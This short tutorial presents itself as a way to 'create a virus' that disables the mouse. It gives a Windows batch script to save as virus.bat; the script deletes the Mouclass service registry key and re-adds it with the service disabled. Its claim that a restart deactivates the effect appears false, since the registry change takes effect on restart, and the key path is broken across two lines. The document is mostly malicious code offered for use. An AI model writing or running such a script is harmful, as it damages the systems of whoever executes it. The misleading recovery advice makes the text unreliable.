Create a virus which disables mouse on execution.

- Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControl
Set\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
- Save this file as virus.bat
Done you just created your virus.
                                                                    
                                                 (restart computer to deactivate)